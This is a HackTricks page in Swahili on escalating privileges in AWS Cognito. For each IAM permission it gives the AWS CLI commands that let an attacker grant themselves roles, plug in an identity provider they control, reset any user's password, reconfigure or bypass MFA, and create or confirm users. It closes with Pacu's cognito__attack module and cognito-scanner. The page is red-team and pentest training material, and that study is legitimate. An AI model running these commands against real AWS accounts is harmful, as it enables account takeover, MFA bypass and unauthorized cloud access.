AWS - Cognito Privesc

Reading time: 12 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Cognito

Kwa habari zaidi kuhusu Cognito angalia:

AWS - Cognito Enum

Kupata credentials kutoka Identity Pool

Kwa kuwa Cognito inaweza kutoa IAM role credentials kwa authenticated na unauthenticated users, ikiwa utapata Identity Pool ID ya application (inapaswa kuwa hardcoded ndani yake) unaweza kupata credentials mpya na kwa hivyo kufanya privesc (ndani ya account ya AWS ambapo labda hukuwahi kuwa na credential yoyote kabla).

Kwa maelezo zaidi angalia ukurasa huu.

Athari Inayoweza Kutokea: Privesc ya moja kwa moja kwa services role iliyounganishwa na unauth users (na pengine pia ile iliyounganishwa na auth users).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

Kwa ruhusa hii unaweza grant any cognito role kwa authenticated/unauthenticated users wa cognito app.

bash
aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"

Ikiwa app ya cognito watumiaji wasiojulikana hawajawezeshwa, unaweza pia kuhitaji ruhusa cognito-identity:UpdateIdentityPool ili kuziwezesha.

Athari Inayoweza Kutokea: Privesc ya moja kwa moja kwa cognito role yoyote.

cognito-identity:update-identity-pool

Mshambuliaji akiwa na ruhusa hii anaweza kuweka, kwa mfano, Cognito User Pool chini ya udhibiti wake au identity provider mwingine yeyote ambapo anaweza login kama njia ya kupata ufikiaji kwenye hii Cognito Identity Pool. Kisha, tu login kwenye provider huyo wa watumiaji itam kumpa uwezo wa kufikia authenticated role iliyosanidiwa katika Identity Pool.

bash
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Pia inawezekana kutumia vibaya ruhusa hii ili kuruhusu basic auth:

bash
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Potential Impact: Kupata udhibiti wa IAM role iliyosanidiwa ya authenticated ndani ya identity pool.

cognito-idp:AdminAddUserToGroup

Ruhusa hii inaruhusu kuongeza mtumiaji wa Cognito kwenye kundi la Cognito, hivyo mshambuliaji anaweza kutumia vibaya ruhusa hii kuongeza mtumiaji aliye chini ya udhibiti wake kwenye vikundi vingine yenye ruhusa bora au IAM roles tofauti:

bash
aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Athari Inayoweza Kutokea: Privesc kwa vikundi vingine vya Cognito na IAM roles zinazounganishwa na User Pool Groups.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Mshambulizi akiwa na ruhusa hizi anaweza kuunda/kusasisha vikundi na kuweka kila IAM role inayoweza kutumika na compromised Cognito Identity Provider na kumfanya compromised user kuwa sehemu ya group, akipata roles zote hizo:

bash
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Madhara Yanayowezekana: Privesc kwa Cognito IAM roles nyingine.

cognito-idp:AdminConfirmSignUp

Ruhusa hii inaruhusu kuthibitisha usajili. Kwa chaguo-msingi, mtu yeyote anaweza kujiandikisha kwenye applications za Cognito; ikiwa hili litaachwa, mtumiaji anaweza kuunda akaunti kwa data yoyote na kuihakiki kwa ruhusa hii.

bash
aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Athari Inayoweza Kutokea: Indirect privesc kwa identity pool IAM role kwa watumiaji walioidhinishwa ikiwa unaweza kusajili mtumiaji mpya. Indirect privesc kwa huduma nyingine za app ambazo zinaweza kuthibitisha akaunti yoyote.

cognito-idp:AdminCreateUser

Ruhusa hii itamruhusu mshambuliaji kuunda mtumiaji mpya ndani ya user pool. Mtumiaji mpya anaundwa akiwa ameamilishwa, lakini atahitaji kubadilisha nenosiri lake.

bash
aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Athari Inavyoweza Kuwa: Direct privesc to the identity pool IAM role for watumiaji waliothibitishwa. Indirect privesc to other app functionalities being able to create any user

cognito-idp:AdminEnableUser

Ruhusa hizi zinaweza kusaidia katika tukio la nadra ambapo mshambuliaji ameipata credentials za mtumiaji aliyefungwa na anahitaji kuwezesha tena.

bash
aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Athari Inayoweza Kutokea: Privesc isiyo ya moja kwa moja kwa identity pool IAM role kwa authenticated users na ruhusa za mtumiaji ikiwa mshambuliaji angekuwa na credentials za disabled user.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Ruhusa hii inaruhusu kuingia kwa kutumia method ADMIN_USER_PASSWORD_AUTH. Kwa maelezo zaidi fuata kiungo.

cognito-idp:AdminSetUserPassword

Ruhusa hii itamruhusu mshambuliaji kubadilisha nenosiri la mtumiaji yeyote, kumfanya aweze kuiga mtumiaji yeyote (ambaye hana MFA imewezeshwa).

bash
aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Athari Inayoweza Kutokea: Privesc ya moja kwa moja kwa takriban mtumiaji yeyote, ikimaanisha upatikanaji wa vikundi vyote ambavyo mtumiaji anavyokuwa mwanachama wao na upatikanaji wa Identity Pool authenticated IAM role.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Mshambuliaji anaweza kutumia vibaya ruhusa hii kuweka simu ya mkononi anayedhibiti kama SMS MFA ya mtumiaji.

bash
aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Kama ile ya awali, ruhusa hii inaweza kutumiwa kuweka mapendeleo ya MFA ya mtumiaji ili bypass ulinzi wa MFA.

bash
aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Kama ile ya hapo awali, ruhusa hii inaweza kutumika kuweka mapendeleo ya MFA ya user pool ili kupita kando ya ulinzi wa MFA.

bash
aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: Pia inawezekana kusasisha user pool kubadilisha sera ya MFA. Check cli here.

Athari Inayoweza Kutokea: Inaweza kusababisha privesc isiyo ya moja kwa moja kwa mtumiaji yeyote ambaye mdukuzi anajua credentials zake; hii inaweza kuruhusu kupita ulinzi wa MFA.

cognito-idp:AdminUpdateUserAttributes

Mdukuzi mwenye ruhusa hii anaweza kubadilisha barua pepe au nambari ya simu au sifa nyingine yoyote za mtumiaji aliye chini ya udhibiti wake ili kujaribu kupata vibali zaidi katika programu ya msingi.
Hii inaruhusu kubadilisha barua pepe au nambari ya simu na kuiweka kama kuthibitishwa.

bash
aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Athari Inayoweza Kutokea: privesc isiyo ya moja kwa moja katika application ya msingi inayotumia Cognito User Pool ambayo inatoa vibali kulingana na sifa za watumiaji.

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Mshambuliaji mwenye ruhusa hii anaweza kuunda User Pool Client mpya isiyo na vikwazo vingi kuliko User Pool Clients zilizopo. Kwa mfano, client mpya inaweza kuruhusu aina yoyote ya njia za kuthibitisha, isiwe na siri yoyote, kufutwa kwa tokeni kumezimwa, au kuruhusu tokeni kuwa halali kwa kipindi kirefu zaidi...

Hali sawa inaweza kutokea ikiwa badala ya kuunda client mpya, mmoja aliyekuwepo atabadilishwa.

Katika command line (au update one) unaweza kuona chaguzi zote, angalia!.

bash
aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Athari Inayowezekana: Privesc isiyo ya moja kwa moja kwa mtumiaji aliyeidhinishwa wa Identity Pool unaotumiwa na User Pool kwa kuunda client mpya inayopunguza hatua za usalama na kumwezesha attacker kuingia (login) kwa kutumia mtumiaji aliyeweza kuunda.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Attacker anaweza kutumia vibaya ruhusa hii kuunda watumiaji kwa kupakia csv yenye watumiaji wapya.

bash
# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(Katika hali ambapo unaunda import job mpya unaweza pia kuhitaji iam passrole permission, sijaijaribu bado).

Athari Inayoweza Kutokea: Direct privesc kwa identity pool IAM role kwa watumiaji waliothibitishwa. Indirect privesc kwa vipengele vingine vya app kuwa na uwezo wa kuunda mtumiaji yeyote.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Mshambuliaji anaweza kuunda identity provider mpya ili kisha aweze kuingia kupitia provider hii.

bash
aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Athari Inayoweza Kutokea: Privesc ya moja kwa moja kwa identity pool IAM role kwa authenticated users. Privesc isiyo ya moja kwa moja kwa vipengele vingine vya app vinavyoweza kuunda mtumiaji yeyote.

cognito-sync:* Uchambuzi

Hii ni ruhusa ya kawaida kwa default kwenye roles za Cognito Identity Pools. Hata kama wildcard katika ruhusa kila mara inaonekana mbaya (hasa inayotokana na AWS), ruhusa zilizotolewa hazina maana kubwa kutoka mtazamo wa mshambuliaji.

Ruhusa hii inaruhusu kusoma taarifa za matumizi za Identity Pools na Identity IDs ndani ya Identity Pools (ambazo si taarifa za siri).
Identity IDs zinaweza kuwa na Datasets zilizoambatishwa kwao, ambazo ni taarifa za vikao (AWS zinaelezea kama saved game). Inawezekana kwamba hizi zinaweza kuwa na aina fulani ya taarifa nyeti (lakini uwezekano ni mdogo sana). Unaweza kupata kwenye enumeration page jinsi ya kupata taarifa hizi.

Mshambuliaji pia anaweza kutumia ruhusa hizi kujiandikisha kwenye enroll himself to a Cognito stream that publish changes kwenye datases hizi au kwenye lambda that triggers on cognito events. Sijawahi kuona hili likitumika, na siepange kupata taarifa nyeti hapa, lakini si jambo lisilowezekana.

Zana za Otomatiki

  • Pacu, the AWS exploitation framework, sasa inajumuisha modules "cognito__enum" na "cognito__attack" ambazo zinafanya otomatiki enumeration ya mali zote za Cognito katika account na kuonyesha configurations dhaifu, user attributes zinazotumika kwa access control, n.k., na pia zinafanya otomatiki uundaji wa watumiaji (ikiwa ni pamoja na msaada wa MFA) na privilege escalation kulingana na custom attributes zinazowezekana kubadilishwa, usable identity pool credentials, assumable roles katika id tokens, n.k.

Kwa maelezo ya kazi za modules angalia sehemu ya 2 ya blog post. Kwa maagizo ya usakinishaji angalia ukurasa kuu wa Pacu.

Matumizi

Mfano wa matumizi ya cognito__attack ili kujaribu uundaji wa mtumiaji na vigezo vyote vya privesc dhidi ya identity pool na user pool client iliyopewa:

bash
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Mfano wa matumizi ya cognito__enum kukusanya user pools zote, user pool clients, identity pools, users, n.k. zinazoonekana katika akaunti ya sasa ya AWS:

bash
Pacu (new:test) > run cognito__enum
  • Cognito Scanner ni zana ya CLI kwa python inayotekeleza mashambulizi mbalimbali dhidi ya Cognito, ikiwa ni pamoja na privesc escalation.

Usakinishaji

bash
$ pip install cognito-scanner

Matumizi

bash
$ cognito-scanner --help

Kwa maelezo zaidi angalia https://github.com/padok-team/cognito-scanner

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks